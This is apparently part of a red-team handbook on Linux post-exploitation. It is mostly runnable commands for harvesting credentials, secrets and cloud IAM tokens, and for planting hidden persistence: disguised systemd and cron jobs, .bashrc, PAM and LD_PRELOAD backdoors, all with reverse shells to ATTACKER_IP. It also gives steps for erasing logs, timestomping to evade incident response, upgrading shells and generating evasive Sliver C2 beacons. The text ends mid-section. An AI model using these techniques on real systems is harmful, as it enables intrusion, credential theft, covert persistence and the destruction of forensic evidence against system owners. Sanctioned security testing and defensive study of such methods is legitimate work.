1.1c_Linux_Deep_Dive_P2
1.1c Linux Deep Dive — Part 2: Looting, Persistence, Cleanup & C2
BLUF: Part 2 covers post-exploitation. Covers post-exploitation looting (credentials, keys, cloud metadata), persistence mechanisms (SSH, systemd, cron, PAM, LD_PRELOAD), cleanup/anti-forensics, shell upgrades, and Sliver C2 deployment. Parts 1a & 1b covers OPSEC baseline and privilege escalation.
Parts 1a & 1b: Sections 1–2 · This file: Sections 3–8
Section 3 — Finding Valuable Data: Post-Exploitation Looting
Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.
3.1 — Credentials in Config Files
# The most common wins -- search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
/var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
grep -vE "\.pyc$|/proc/|binary" | head -20
# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null # WordPress DB creds
find / -name "database.yml" 2>/dev/null # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
xargs grep -li "password\|secret" 2>/dev/null # Spring Boot
# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null
# SSH keys -- private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
grep -v "\.pub$" | while read f; do
echo "=== $f ==="; head -1 "$f"; echo
done
# Known_hosts -- maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
grep -v "^#" | awk '{print $1}' | sort -u
3.2 — Shell History & Log Artifacts
# All history files -- operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
-o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
2>/dev/null | xargs cat 2>/dev/null
# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30
# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30
3.3 — In-Memory Credentials (/proc)
This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.
# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u
# Command line arguments of all processes -- passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
grep -iE "pass|secret|token|key|--password" | head -20
# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"
# Memory maps -- can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u
3.4 — /etc/shadow — Offline Crack
# Dump shadow (requires root)
cat /etc/shadow
# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt
# Transfer to attacker machine, then crack offline:
# hashcat -- SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Identify hash type from shadow entry:
# $1$ = MD5 hashcat -m 500
# $2y$ = bcrypt hashcat -m 3200 (very slow)
# $5$ = SHA-256 hashcat -m 7400
# $6$ = SHA-512 hashcat -m 1800 (most common)
# $y$ = yescrypt hashcat -m 15900 (modern Ubuntu)
3.5 — Swap File / Memory Dump
# Check if swap is in use
swapon --show
cat /proc/swaps
free -h
# Swap is physical memory dumped to disk -- may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5 # replace with your swap partition
# Manual approach -- grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20
# Hibernate image -- if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null
3.6 — Cloud Instance Metadata (IMDS)
If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.
# AWS IMDSv1 (no token required -- check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token -- use immediately for AWS API calls
# AWS IMDSv2 (requires token -- but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# User-data -- admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames
# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata:true"
OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.
Section 4 — Persistence: Stealthy & Resilient
Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.
4.1 — SSH Authorized Keys
Detectability: Low (unless IR specifically checks ~/.ssh/)
# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all
# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment -- harder to notice against legitimate keys
# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
4.2 — Systemd Service (Disguised)
Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)
# Choose a name that blends in -- mimic real systemd service names
# Bad: backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service
cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)
[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# Create the "binary" it calls -- a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper
# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service
# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service # should show active/running
# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service
OPSEC: Set
StandardOutput=nullandStandardError=nullto prevent log output from landing in journald. UseRestartSec=30with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never useRestart=alwayswith a 0-second delay — that generates a flood of restart events in the journal.
4.3 — Cron Persistence
Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)
# System-wide cron (requires root) -- runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 -- unlikely to trigger pattern matching on hourly/daily
# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper
# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -
# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync
# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper
4.4 — .bashrc / .profile Conditional Backdoor
Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)
# Only beacon if callback host isn't already established -- avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)
cat >> ~/.bashrc << 'EOF'
# system check
_svc_check() {
pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF
# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running
# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective -- modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc
4.5 — PAM Backdoor (accepts any password for a user)
Detectability: Medium-High (PAM module changes are checked during IR, but often missed)
# Add pam_permit.so to PAM stack for SSH -- allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig
# Add to the TOP of the auth section -- before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd
# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited
# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt -- not a persistence mechanism but credential logger
OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.
4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload
Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)
# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
// Only fire once -- avoid loops when our payload itself is a dynamic binary
if (getenv("_PRELOAD_DONE")) return;
putenv("_PRELOAD_DONE=1");
// Don't fire as root -- avoids noise, only fires for user-level processes
if (getuid() == 0) return;
// Check if beacon is running
if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
}
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c
# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload
# Verify (will trigger on this command)
ls / # any dynamic binary will trigger the constructor
# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload
OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like
ls,ps,cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.
Section 5 — Cleanup & Anti-Forensics
Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.
5.1 — History Wipe
# In-session: stop recording new commands (already done in Section 1, but confirm)
unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
set +o history
history -c # clear in-memory history list (RAM only -- does NOT touch disk)
history -w # flush the now-empty in-memory list to HISTFILE (/dev/null)
# Result: ~/.bash_history on disk is untouched; this session writes nothing new
# --- If the engagement scope EXPLICITLY requires wiping disk history ---
# (only do this if authorized; file wipes are detectable by forensics)
# Overwrite specific file (cat /dev/null is safer than rm -- rm leaves inode gap)
# cat /dev/null > ~/.bash_history
# If a system profile forces HISTFILE back to ~/.bash_history, redirect it:
# ln -sf /dev/null ~/.bash_history # symlink to /dev/null; leaves detectable symlink
# If you must wipe all shell histories across interpreters:
# for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
# ~/.mysql_history ~/.psql_history ~/.irb_history; do
# [ -f "$f" ] && cat /dev/null > "$f"
# done
5.2 — Log Line Removal
Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).
# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null
# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log
# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log
# wtmp / btmp / lastlog -- binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp
# Clear btmp (failed login attempts -- don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp
# Systemd journal -- you can't easily edit individual journal entries
# If you need to clear it: (very noisy -- only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)
5.3 — Timestomping (Match Modified Files to Originals)
Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.
Pre-Stomp: Read the Timestamps Before You Touch Anything
# ls -lisa -- long listing with inode number and block count
# i = inode, l = long format, s = block size, a = show hidden files
ls -lisa /etc/cron.d/
# Output: inode blocks perms links owner group size mtime name
# 131074 8 -rw-r--r-- 1 root root 191 Jan 15 14:30 anacron
# ls -lisu -- same but sorted by file size (largest first)
# Useful for spotting anomalous large files in a directory
ls -lisu /etc/cron.d/
ls -lisu /etc/systemd/system/
ls -lisu ~/.ssh/
# Read the exact timestamp of the reference file BEFORE you modify anything
stat /etc/cron.d/anacron
# Access: 2023-01-15 14:30:00.000000000 +0000 <-- atime
# Modify: 2023-01-15 14:30:00.000000000 +0000 <-- mtime
# Change: 2023-01-15 14:30:00.000000000 +0000 <-- ctime (you can't fake this)
# Note the timestamps -- you'll set these on your file after modification
Timestomp: Set Timestamps After Modification
# Match mtime + atime from a reference file (simplest approach)
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file
# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper
Surgical Control: Set atime and mtime Independently
# touch -a -> set ONLY the access time (atime)
# touch -m -> set ONLY the modification time (mtime)
# touch -t -> specify exact timestamp: [[CC]YY]MMDDhhmm[.ss]
# Set ONLY atime to a specific time (leaves mtime untouched)
touch -a -t 202301151430.00 /etc/cron.d/your_file
# ^^^^^^^^^^^^^ = 2023-01-15 14:30:00
# Set ONLY mtime to a specific time (leaves atime untouched)
touch -m -t 202301151430.00 /etc/cron.d/your_file
# Set both to the same specific time
touch -t 202301151430.00 /etc/cron.d/your_file
# Timestamp format breakdown:
# touch -a -t YYYYMMDDHHMI.SS filename
# 2023 = year
# 01 = month (January)
# 15 = day
# 14 = hour (24h)
# 30 = minute
# .00 = seconds (optional)
# Real-world example: your modified file should look like it was last touched
# on Jan 15, 2023 at 14:30 UTC -- same as the reference file (anacron)
touch -a -t 202301151430.00 /etc/cron.d/sysstat-helper # set atime
touch -m -t 202301151430.00 /etc/cron.d/sysstat-helper # set mtime
Verify the Stomp Worked
# Compare your file against the reference
stat /etc/cron.d/anacron
stat /etc/cron.d/your_file
# Access and Modify times should match
# ls -lisa confirms the displayed mtime in the listing matches
ls -lisa /etc/cron.d/
# Both files should show the same date/time column
# IR check simulation -- your file should NOT appear here
find /etc/cron.d/ -newer /etc/cron.d/anacron
# Empty output = timestomp successful for mtime
OPSEC notes:
ctime(inode change time) cannot be faked withtouch— it always updates on any metadata change. Advanced forensics (debugfs,sleuthkit) will catch ctime anomalies even when mtime/atime match.-rcopies both mtime and atime at once — use when you want both to match a reference.-a -tlets you set atime to a different value than mtime — useful when the reference file has different access vs modify times.- On
noatimemounted filesystems, atime is not tracked — one less thing to worry about. Check withmount | grep noatime.
5.4 — Tool Cleanup
# Remove all tools you dropped -- work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/
# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file
# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c
# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"
5.5 — What IR Teams Look For — Know Their Checklist
| IR Action | What They Check | Your Counter |
|---|---|---|
last / lastlog |
Login records from wtmp/lastlog | Wipe with utmpdump, cat /dev/null > /var/log/lastlog |
find / -newer /etc/passwd |
Recently modified files | Timestomp all modified files |
systemctl list-units |
Unexpected services | Disguise service names, match descriptions |
crontab -l + /etc/cron* |
Cron jobs | Use infrequent schedules, hide in sysstat dirs |
cat ~/.bash_history |
Shell history | Wipe on entry AND exit |
cat /etc/pam.d/* |
PAM configuration changes | Revert PAM changes when possible |
cat /etc/ld.so.preload |
LD_PRELOAD persistence | Timestomp, or use only as a last resort |
ls -la ~/.ssh/ |
Authorized keys | Match timestamps to existing keys |
ps auxf |
Running processes | Use process name masquerading |
ss -tunap |
Network connections | Use short-lived beacons, not persistent shells |
strings /proc/*/environ |
In-memory credentials | N/A — this is you doing it to them |
auditctl -l + audit.log |
Audit trail | Can't erase audit.log without root; avoid audited syscalls |
md5sum / sha256sum on system files |
File integrity (AIDE/Tripwire) | You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths |
Section 6 — Shell Upgrade: nc -> Full TTY
A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.
Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.
6.1 — Python PTY (Most Common, Fastest)
Run on the victim side inside your nc shell:
# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null
This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.
6.2 — Full TTY via stty (The Proper Fix)
After running the Python PTY above:
# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 3 (victim -> attacker): background the shell -- press Ctrl-Z
# You're now back on your attacker terminal
# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank -- that's normal, type the next commands blindly
# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash
# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size -> returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220
Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.
OPSEC:
stty raw -echochanges your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typingresetblindly or opening a new terminal tab.
6.3 — socat (Best Option if Available)
If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.
# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
Full TTY with job control, signals, and history immediately. No extra steps.
6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)
Gives you readline history and basic completion on the attacker side without touching the victim:
# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444
Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.
6.5 — Shell Upgrade Quick Reference
| Situation | Command (Victim Side) | Result |
|---|---|---|
| Python3 available | python3 -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY (su/sudo work) |
| Python2 only | python -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY |
| No Python | /usr/bin/script -qc /bin/bash /dev/null |
Basic TTY |
| Perl available | perl -e 'exec "/bin/bash";' |
Basic shell (no TTY) |
| socat available | See 6.3 above | Full TTY immediately |
| After basic PTY | stty dance (6.2 above) | Full TTY via nc |
| Attacker side | rlwrap nc -nlvp PORT |
Readline history only |
Section 7 — C2 Frameworks: Why nc Is a Liability
nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.
Why nc Breaks on Real Engagements
| Problem | nc Shell | C2 Framework |
|---|---|---|
| Session drops (network blip) | Dead — reconnect manually | Automatic reconnect |
| Multiple targets | One terminal per shell, chaos | Centralized operator console |
| Pivoting / port forwards | Manual SSH chains | Built-in SOCKS, tunnels |
| Payload evasion | None — bash spawns are trivially detected | Custom protocols, encrypted comms, sleep/jitter |
| Evidence in logs | Every bash -i shows in auth.log, ps | Configurable process masquerade, encrypted traffic |
| Kill date / time limits | None | Built-in scheduling, datetime limits |
| Team operations | Not possible | Multi-operator with task queuing |
C2 Framework Comparison
| Framework | Language | Best For | Linux Support | Key Stealth Feature |
|---|---|---|---|---|
| Sliver | Go | General red team, cloud/Linux focus | [Y] Excellent | mTLS, garble obfuscation, beacon scheduling |
| Havoc | C/C++ | Windows-heavy engagements | [Y] Good | Demon agent, malleable comms |
| Covenant | .NET | Windows AD operations | [~] Limited | HTTP listener profiles |
| Merlin | Go | Low-footprint Linux ops | [Y] Good | HTTP/2, DNS C2, small agent |
| Mythic | Python backend | Custom agents, modular | [Y] Good | Pluggable agent/profile system |
For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.
Section 8 — Sliver C2: Stealthy Linux Payloads
Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.
8.1 — Installation (Attacker/C2 Server)
# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v arm \
| cut -d '"' -f 4 \
| wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver
# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./
# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start
8.2 — Beacon vs Session: Which to Use
| Beacon | Session | |
|---|---|---|
| Connection | Periodic check-ins (sleep-based) | Persistent, always-on |
| Stealth | [Y] High — looks like periodic web traffic | [~] Low — persistent connection is anomalous |
| Interactivity | Commands queued, executed on next check-in | Immediate response |
| When to use | Default for all ops — stealth first | Interactive phases (priv-esc, lateral move) |
| Converting | interactive command promotes beacon -> session |
N/A |
Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.
8.3 — Stealthy Beacon Generation: All the Flags
# Full stealthy Linux beacon -- run inside the Sliver console
generate beacon \
--mtls YOUR_C2_IP:8888 \ # mTLS -- encrypted, mutual auth, ~looks like HTTPS
--os linux \ # target OS
--arch amd64 \ # or arm64 for cloud/IoT/Raspberry Pi
--format elf \ # elf=binary, shared=.so, shellcode=raw bytes
--name "systemd-helper" \ # label in Sliver console (not process name on target)
--evasion \ # anti-analysis: anti-debug, stack canaries
--skip-symbols \ # strip Go symbol table -- blocks debugger+reverser
--seconds 3600 \ # sleep 3600s (1hr) between check-ins
--jitter 600 \ # add random 0-600s on top of sleep (not a %)
--reconnect 60 \ # retry delay if C2 unreachable
--limit-datetime "2025-12-31T23:59:59Z" \ # KILL DATE -- RFC3339 UTC, implant exits after this
--limit-hostname webserver01 \ # only run if hostname matches exactly
--limit-username ubuntu \ # only run if username matches
--limit-fileexists /etc/ssh/sshd_config \ # only run if this file exists (confirms target)
--save /tmp/beacon.elf
# Verify the generated implant
implants # list all generated implants with config summary
Flag breakdown:
| Flag | Format / Value | What it does |
|---|---|---|
--evasion |
boolean | Anti-debug, anti-analysis, stack canaries compiled in |
--skip-symbols |
boolean | Strips Go symbol table (-ldflags "-s -w") -> harder to reverse |
--seconds / --minutes / --hours / --days |
int | Sleep interval components (combined) |
--jitter N |
int (seconds) | Max random addition to sleep — flat 0 to N seconds, NOT a percentage |
--reconnect N |
int (seconds) | Retry delay if C2 unreachable |
--limit-datetime |
RFC3339 string | Kill date — implant exits after this UTC timestamp; use for op time-boxing |
--limit-hostname |
string | Exact hostname match check at startup |
--limit-username |
string | Exact username match check at startup |
--limit-fileexists |
path | File existence check — confirms you're on the right target |
--format |
elf / shared / shellcode |
ELF=binary, shared=.so (harder to detect), shellcode=raw |
--name |
string | Console label only — does NOT change process name on target |
Important:
--limit-datetimeis a kill date (expiry), not a schedule. It takes RFC3339 format:"2025-12-31T23:59:59Z"(UTC) or"2025-12-31T18:59:59-05:00"(EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).
8.4 — Scheduled Beacon at 0800 EST (Business Hours)
Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.
For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.
# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ (UTC)
# or YYYY-MM-DDTHH:MM:SS-05:00 (EST offset)
# Example: beacon active until end of engagement (Dec 31)
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \ # kill date in UTC
--save /tmp/beacon_killdate.elf
# Example: short engagement window -- implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-05T23:00:00Z" \ # 1800 EST = 2300 UTC
--save /tmp/beacon_shortop.elf
# Check target's timezone before choosing your UTC offset:
# EST = UTC-5 -> 0800 EST = 1300 UTC
# EDT = UTC-4 -> 0800 EDT = 1200 UTC (summer)
# UTC = UTC+0 -> 0800 UTC = 0800 UTC (most servers)
Time-of-day control — what actually works:
